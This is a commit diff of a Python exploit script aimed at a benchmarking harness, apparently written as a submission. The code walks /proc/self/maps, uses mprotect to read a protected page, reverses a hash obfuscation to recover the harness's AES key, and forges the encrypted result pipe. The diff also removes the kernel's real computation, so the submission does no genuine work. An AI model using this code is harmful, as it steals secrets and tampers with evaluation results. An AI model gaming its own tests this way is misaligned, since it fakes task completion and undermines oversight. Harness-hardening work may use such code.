Skip to content

Commit 2ea1ad6

Browse files
committed
restore aes_key_recovery to master version
1 parent fb5bc48 commit 2ea1ad6

1 file changed

Lines changed: 56 additions & 46 deletions

File tree

exploits/submission_aes_key_recovery.py

Lines changed: 56 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -2,28 +2,43 @@
22
EXPLOIT: AES Key Recovery via ObfuscatedHexDigest Arena Scan
33
=============================================================
44
5-
The BenchmarkManager arena is exactly 128MiB. During warmup it is set to
6-
PROT_NONE via PROTECT_RANGE, which causes the kernel to split it from any
7-
adjacent mappings — it appears as an isolated ---p entry in /proc/self/maps.
5+
Scans the BenchmarkManager arena for the
6+
ObfuscatedHexDigest struct. Page pointer is stored as slow_hash(ptr), offset
7+
and length as slow_hash(offset) and slow_hash(size ^ offset). Discriminator:
8+
slow_unhash(w0) must be page-aligned and canonical user-space (~1/4096 FP rate).
89
9-
All reads go through /proc/self/mem which bypasses PROT_NONE entirely
10-
(FOLL_FORCE skips VMA permission checks. We scan the first 512KB for the
11-
ObfuscatedHexDigest struct, recover the AES key, and forge the result pipe.
10+
Once the candidate page is found, mprotect(PROT_READ) is called before reading
11+
to handle lock() if active. Page is validated as all-hex before extracting the key.
1212
13-
Result pipe identified via gc — multiprocessing Connection with 1MB capacity.
13+
Result pipe is found via gc — multiprocessing Connection objects are alive in
14+
the subprocess. The result pipe has 1MB capacity (F_SETPIPE_SZ); the traceback
15+
pipe does not.
1416
"""
1517

1618
import ctypes
1719
import fcntl
1820
import gc
1921
import os
22+
import stat
2023
import struct
24+
import sys
2125
import tempfile
2226
import subprocess
2327

24-
_PAGE_SIZE = 4096
28+
_libc = ctypes.CDLL('libc.so.6', use_errno=True)
29+
_libc.mprotect.restype = ctypes.c_int
30+
_libc.mprotect.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
31+
32+
_PROT_NONE = 0
33+
_PROT_READ = 1
34+
_PAGE_SIZE = 4096
35+
#_ARENA_SIZE = 128 * 1024 * 1024
36+
# ARENA may be split into smaller mappings due to different protection settings for different parts
2537
_F_GETPIPE_SZ = 1025
2638

39+
def _mprotect(addr, prot):
40+
return _libc.mprotect(ctypes.c_void_p(addr), ctypes.c_size_t(_PAGE_SIZE), ctypes.c_int(prot)) == 0
41+
2742
_HASH_C = r"""
2843
#include <stdint.h>
2944
uint64_t slow_unhash(uint64_t p, int rounds) {
@@ -57,17 +72,8 @@ def slow_unhash(val: int, rounds: int = 100_000) -> int:
5772
_HEX_CHARS = frozenset(b'0123456789abcdef')
5873

5974

60-
def _read_mem(addr: int, size: int) -> bytes | None:
61-
try:
62-
with open('/proc/self/mem', 'rb') as f:
63-
f.seek(addr)
64-
return f.read(size)
65-
except OSError:
66-
return None
67-
68-
69-
def _find_arena_candidate():
70-
regions = []
75+
def _find_arena_candidates() -> list[tuple]:
76+
candidates = []
7177
with open('/proc/self/maps') as f:
7278
for line in f:
7379
parts = line.split()
@@ -76,20 +82,19 @@ def _find_arena_candidate():
7682
start, end = (int(x, 16) for x in parts[0].split('-'))
7783
name = parts[5] if len(parts) >= 6 else ''
7884
perms = parts[1]
79-
regions.append((start, end, perms, name))
80-
81-
for s, e, p, n in regions:
82-
if n == '' and p == '---p' and (e - s) == 128 * 1024 * 1024:
83-
return s, e
84-
85-
return None, None
85+
if perms == 'r--p' and name == '': # and (end - start) >= _ARENA_SIZE:
86+
candidates.append((start, end))
87+
return candidates
8688

8789

8890
def _recover_aes_key(arena_start: int, arena_end: int):
89-
SCAN_SIZE = min(512 * 1024, arena_end - arena_start)
91+
SCAN_SIZE = min(512 * 1024, arena_end - arena_start)
92+
print(f"[DBG] scanning arena+{arena_start:#x} for ObfuscatedHexDigest; len={SCAN_SIZE}")
93+
unhash_calls = 0
9094

91-
data = _read_mem(arena_start, SCAN_SIZE)
92-
if data is None:
95+
try:
96+
data = ctypes.string_at(arena_start, SCAN_SIZE)
97+
except Exception:
9398
return None, None
9499

95100
n = SCAN_SIZE // 8
@@ -101,30 +106,37 @@ def _recover_aes_key(arena_start: int, arena_end: int):
101106
continue
102107

103108
page_ptr = slow_unhash(w0)
109+
unhash_calls += 1
110+
104111
if page_ptr == 0 or page_ptr & 0xFFF or page_ptr >= (1 << 47):
105112
continue
106113

107114
w2 = words[i + 2]
108115
if w2 == 0:
109116
continue
110117
offset = slow_unhash(w2)
118+
unhash_calls += 1
119+
print(f"[DBG] unhash_calls={unhash_calls} page_ptr={page_ptr:#x} offset={offset}")
111120
if offset > _PAGE_SIZE - 33:
112121
continue
113122

114-
page_data = _read_mem(page_ptr, _PAGE_SIZE)
115-
if page_data is None:
123+
if not _mprotect(page_ptr, _PROT_READ):
116124
continue
117125

118-
if not all(b in _HEX_CHARS for b in page_data):
126+
try:
127+
page_data = ctypes.string_at(page_ptr, _PAGE_SIZE)
128+
except Exception:
119129
continue
120130

121-
key_bytes = _read_mem(page_ptr + offset, 32)
122-
if key_bytes is None:
131+
if not all(b in _HEX_CHARS for b in page_data):
123132
continue
124133

125134
try:
126-
key_str = key_bytes.decode('ascii')
135+
key_bytes = ctypes.string_at(page_ptr + offset, 32)
136+
key_str = key_bytes.decode('ascii')
127137
if all(c in '0123456789abcdef' for c in key_str):
138+
print(f"[DBG] key found arena+{i*8:#x} page={page_ptr:#x} "
139+
f"off={offset} unhash_calls={unhash_calls}")
128140
return key_bytes, key_str
129141
except Exception:
130142
pass
@@ -184,24 +196,22 @@ def _encrypt(key_bytes: bytes, plaintext: str) -> bytes:
184196
_done = False
185197

186198
def kernel(output, inp):
187-
import torch
188199
global _done
189-
190-
191-
weights = torch.tensor([0.2989, 0.5870, 0.1140],
192-
device=output.device, dtype=output.dtype)
193-
torch.sum(inp * weights, dim=-1, out=output)
194-
195200
if _done:
196201
return
202+
_done = True
197203

198-
arena_start, arena_end = _find_arena_candidate()
199-
if arena_start is None:
204+
candidates = _find_arena_candidates()
205+
if not candidates:
206+
_done = False
200207
return
201208

202-
_done = True
209+
key_raw, key_str = None, None
210+
for arena in candidates:
211+
key_raw, key_str = _recover_aes_key(*arena)
212+
if key_raw is not None:
213+
break
203214

204-
key_raw, key_str = _recover_aes_key(arena_start, arena_end)
205215
if key_raw is None:
206216
_done = False
207217
return

0 commit comments

Comments
 (0)